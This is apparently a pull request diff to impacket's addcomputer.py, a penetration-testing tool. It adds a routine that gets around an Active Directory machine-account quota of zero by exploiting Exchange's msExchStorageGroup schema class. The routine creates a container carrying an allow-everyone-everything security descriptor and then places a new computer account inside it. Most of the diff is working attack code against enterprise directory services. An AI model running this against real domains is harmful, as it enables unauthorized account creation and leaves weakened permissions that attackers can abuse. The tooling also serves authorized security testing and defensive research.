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Add bypass method when MAQ is 0 in addcomputer.py #1870

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Add bypass method when MAQ is 0 in addcomputer.py #1870

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73 changes: 71 additions & 2 deletions examples/addcomputer.py
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Original file line number Diff line number Diff line change
Expand Up @@ -34,6 +34,8 @@
from impacket.examples.utils import parse_credentials
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.spnego import SPNEGO_NegTokenInit, TypesMech
from ldap3.protocol.microsoft import security_descriptor_control
from ldap3.utils.conv import escape_filter_chars

import ldap3
import argparse
Expand Down Expand Up @@ -69,6 +71,11 @@ def __init__(self, username, password, domain, cmdLineOptions):
self.__baseDN = cmdLineOptions.baseDN
self.__computerGroup = cmdLineOptions.computer_group

lmhash, nthash = self.__hashes.split(':') if self.__hashes is not None else ("", "")
if lmhash == '' and len(nthash) == 32:
self.__lmhash = 'aad3b435b51404eeaad3b435b51404ee'
self.__hashes = ":".join([self.__lmhash, nthash])

if self.__targetIp is not None:
self.__kdcHost = self.__targetIp

Expand Down Expand Up @@ -144,6 +151,63 @@ def run_samr(self):
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
self.doSAMRAdd(rpctransport)

def getUserInfo(self, ldapConn, username):
ldapConn.search(self.__baseDN, '(sAMAccountName=%s)' % escape_filter_chars(username), attributes=['objectSid'])
try:
dn = ldapConn.entries[0].entry_dn
sid = ldapConn.entries[0]['objectSid']
return (dn, sid)
except IndexError:
logging.error('User not found in LDAP: %s' % username)
return False

def bypass_with_msExchStorageGroup(self, ldapConn, ucd):
logging.info('Checking if `msExchStorageGroup` object exists within the schema and is vulnerable')
res = ldapConn.search(ldapConn.server.info.other['schemaNamingContext'][0], '(cn=ms-Exch-Storage-Group)',
search_scope=ldap3.LEVEL, attributes=['possSuperiors'])

if not res:
logging.error('Object `msExchStorageGroup` does not exist within the schema, Exchange is probably not installed')
return False

if 'computer' not in ldapConn.response[0]['attributes']['possSuperiors']:
logging.error('Object `msExchStorageGroup` not vulnerable, was probably patched')
return False

logging.info('Object `msExchStorageGroup` exists and is vulnerable!')

result = self.getUserInfo(ldapConn, self.__username)
if not result:
logging.error("Could not find target user in domain.")
return False

ACL_ALLOW_EVERYONE_EVERYTHING = b'\x01\x00\x04\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x02\x000\x00\x02\x00\x00\x00\x00\x00\x14\x00\xff\x01\x0f\x00\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\n\x14\x00\x00\x00\x00\x10\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00'
target_dn = result[0]
mESG_name = ''.join(random.choice(string.ascii_uppercase) for _ in range(8))
mESG_dn = ('CN=%s,%s' % (mESG_name, target_dn))

logging.info('Attempting to add new `msExchStorageGroup` object `%s` under `%s`' % (mESG_name, target_dn))
res = ldapConn.add(mESG_dn, ['top', 'container', 'msExchStorageGroup'],
{'nTSecurityDescriptor': ACL_ALLOW_EVERYONE_EVERYTHING}, controls=security_descriptor_control(sdflags=0x04))

if not res:
logging.error('Failed to add `msExchStorageGroup` object: %s' % str(ldapConn.result))
return False

logging.info('Added `msExchStorageGroup` object at `%s`. DON\'T FORGET TO CLEANUP' % mESG_dn)

computerHostname = self.__computerName[:-1]

newComputerDn = 'CN=%s,%s' % (computerHostname, mESG_dn)
logging.info('Attempting to create computer in `%s`', mESG_dn)
res = ldapConn.add(newComputerDn, ['top','person','organizationalPerson','user','computer'], ucd)

if not res:
logging.error('Failed to add a new computer: %s' % str(ldapConn.result))
return False

logging.info('Adding new computer with username: %s and password: %s result: OK' % (self.__computerName, self.__computerPassword))

def run_ldaps(self):
connectTo = self.__target
if self.__targetIp is not None:
Expand Down Expand Up @@ -174,7 +238,9 @@ def run_ldaps(self):
self.__aesKey, kdcHost=self.__kdcHost)
elif self.__hashes is not None:
ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__hashes, authentication=ldap3.NTLM)
ldapConn.bind()
bind_res = ldapConn.bind()
if not bind_res:
raise Exception(ldapConn.result)
else:
ldapConn = ldap3.Connection(ldapServer, user=user, password=self.__password, authentication=ldap3.NTLM)
ldapConn.bind()
Expand Down Expand Up @@ -240,7 +306,10 @@ def run_ldaps(self):
if ldapConn.result['result'] == ldap3.core.results.RESULT_UNWILLING_TO_PERFORM:
error_code = int(ldapConn.result['message'].split(':')[0].strip(), 16)
if error_code == 0x216D:
raise Exception("User %s machine quota exceeded!" % self.__username)
logging.critical("User %s machine quota exceeded!" % self.__username)
if self.__username.endswith('$'):
logging.info("Trying to bypass machine quota with `msExchStorageGroup` object")
self.bypass_with_msExchStorageGroup(ldapConn, ucd)
else:
raise Exception(str(ldapConn.result))
elif ldapConn.result['result'] == ldap3.core.results.RESULT_INSUFFICIENT_ACCESS_RIGHTS:
Expand Down